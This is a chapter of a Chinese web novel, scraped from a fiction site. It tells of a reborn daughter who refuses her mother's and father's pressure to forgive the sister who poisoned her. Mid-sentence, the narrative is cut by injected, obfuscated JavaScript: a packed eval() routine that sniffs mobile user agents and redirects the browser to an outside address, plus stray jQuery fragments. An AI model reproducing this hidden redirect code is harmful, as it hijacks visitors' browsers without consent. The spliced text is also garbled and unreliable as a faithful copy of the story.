风竹小说 > 科幻小说 > 我被活活烧死后,全家悔疯了 > 第114章 我这人睚眦必报

第114章 我这人睚眦必报

    归根结底,是她们对令容的关心不够,才让宝贝女儿行差踏错。

    听言,沈池鱼露出一个“您没事吧”的表情。

    “母亲,要命的事,我该如何‘让着’?”

    “令容是一时糊涂,”林氏怨怼道,“你也该找找自己的原因,她那样柔善的性子,从不与其他妹妹结怨,怎么偏偏和你过不去?”

    沈池鱼差点被气笑。

    一旁的周嬷嬷连忙给林氏奉上参茶,“夫人润润嗓子。”

    作为下人,她也觉得林氏说话太过偏颇。

    可她到底是看着大小姐长大的,和没有感情的沈池鱼相比,私心里自然也是向着大小姐。

    林氏喝了口茶,脸色稍缓,“池鱼啊,做人不能斤斤计较,要大度。”

    “令容是你姐姐,又是侯府认定的世子妃,她的名声坏了,沈家的脸面往哪儿搁?”

    “你就当看在我的面子上,去跟你父亲求个情,说你不计较了,让他放了令容,好不好?”

    林氏自觉已经足够放下身段,作为女儿,沈池鱼应该顺从。

    不再执着于得到亲人的爱,放下那些执拗,沈池鱼发现自己听完林氏的话,内心可以保持平静。

    因为没有期待,便不会失望。

    “母亲,在你眼中我这样心思龌龊的人,怎么会愿意化干戈为玉帛呢?”

    沈池鱼卷着垂落胸前的一缕发丝,言笑晏晏:“母亲若真为她着想,可以自己去和父亲求情,让我忍气吞声?抱歉,我这人睚眦必报。”

    “你!”林氏被噎得怒目圆睁,半晌从牙缝里挤出一句:“我真后悔把你生下来!”

    她怎么就生出了这种女儿?

    为什么令容不是她的亲生女儿?

    沈池鱼垂下眼:“是吗?可惜了。”

    可惜什么?

    可惜时光无法退回到十五年前。

    林氏瞧着那张和自己年轻时相似的脸,明明两人血脉相融,该是这世上最亲的人。

    可沈池鱼不会像令容那样对她撒娇讨好,眼中也没有对自己的孺慕,只有冷漠疏离。

    方方面面都让林氏不喜,她甚至认为是老天看她过得太顺遂,才派沈池鱼来给她添堵。

    丝毫不去反思自己有没有哪里做的不对。

    “罢了,”林氏收回视线,“你既不肯去,我也不逼你,只是你记住,令容是我的女儿,这一点无论如何不会变。”

    沈池鱼笑了下,“我知道。”

    不需林氏一边又一边的强调,她对此很清楚。

    林氏还是不满,厌烦的摆手赶人,她也不知道自己在不满什么,明明这正是她想要的答案。

    沈池鱼没再说话,福身行礼,转身离开了芷兰院。

    院外,雪青在人出来后,赶紧迎上去撑伞。

    “夫人又训您了吗?”

    沈池鱼扯了扯嘴角:“意料之中。”

    她和林氏的相处大抵如此,母女情分什么的死在上辈子。

    路过牡丹院时,沈池鱼没作停留。

    不是她品行高洁不想落井下石,而是她有预感,沈令容不会被关多久。

    行至回廊,沈池鱼不巧的和沈缙迎面对上。

    “父亲。”她福身行礼。

    沈缙点头回应,“自你回来,我们父女二人还没好好说过话,难得今日下朝早,陪我走走吧。”

    廊外细雨成帘,没让沈池鱼撑伞,沈缙撑着伞,雪青远远在后面跟着。

    沈缙闲话家常般问:“去你母亲那儿了?”

    “是。”

    “她说难听话了?”

    不等沈池鱼回答,他望着远处雨幕下朦胧的假山,长长叹了口气。

    “你别放在心上,她只是不知该怎么和你相处。”

    夫妻二十余载,沈缙对枕边人的评价是:蠢但不坏。

    “你母亲很护短,眼里心里装的只有济川几人,她对你…并非无情。”

    怪就怪造化弄人,十五年的时间,很多情感已经定型,林氏的满腔爱女之心全部给了沈令容,很难分出来再给另一个孩子。

    沈缙绕过水坑,把伞往沈池鱼那边倾了下,“池鱼,再给她些时间,也给你自己一些时间。”

    沈池鱼垂眸,指尖捻着袖口:“父亲放心,我不会对母亲怎么样。”

    至于别的,还是算了。

    前世五年的时间,她等不来亲人的在乎,怎么可能还会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140535|176261||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    浪费今生的时间。

    沈缙看她神情淡淡,转了话锋:“太医开的方子管用吗?”

    “早上喝了药,咳嗽好些了。”

    接着又是漫长的无言。

    快到梧桐院时,沈缙停步,道:“库房里还有些上好的补药,让雪青去取些,炖了补身子。”

    “谢父亲。”

    沈缙又道:“池鱼,你还小,待长大些,便知世间的事不是非黑即白,父亲是一家之主,考量较多。”

    手指猛地掐住袖口,沈池鱼避开他的视线,面上笑道:“父亲辛苦。”

    沈缙望着她,几息后把手中的伞给她,“进去吧。”

    他转身往回走,紫色官袍很快被雨水淋湿,那道身影在雨幕里越来越模糊。

    沈池鱼长久的站着未动,伞檐落下的雨滴溅湿了鞋袜,让人浑身发冷。

    “这就是至亲啊。”

    雪青看得出她心情不好,不敢上前打扰,又担心她的身子扛不住,犹豫了会儿,转身跑进院子里。

    片刻,惊九出来。

    “有结果了?”

    把伞又塞给惊九,沈池鱼点头,“和预料的一样,他想让我退一步。”

    谢无妄能顺着那条线捋出下毒之人,沈缙又怎么会猜不到。

    两人并肩往院中走,惊九窥着她的情绪,“你怎么想?”

    “我只是平平无奇的坏丫头,我哪里听得懂父亲在暗示什么,你说对不对?”

    见沈池鱼没有受太多影响,惊九也难得露出笑脸:“那还继续吗?”

    “当然,”沈池鱼仰起脸,凤眸中是森森冷意:“他们都想逼我忍气吞声,欺我弱小无依。”

    从回廊到梧桐院的一路温情,不过是沈缙给的一点甜头,目的是让她不再继续追究下毒一事。

    他们给她的亲情,需要明码标价。

    只是可惜,沈池鱼不准备接受,不让她好过,那大家都别想好过。

    她问:“我可不当软柿子,你准备好了?”

    惊九点头:“等着吧。”

    到正室门口,惊九耳朵微动,收了伞止步。

    沈池鱼疑惑,正待开口,在看到屋内的人时,脸色骤然一变。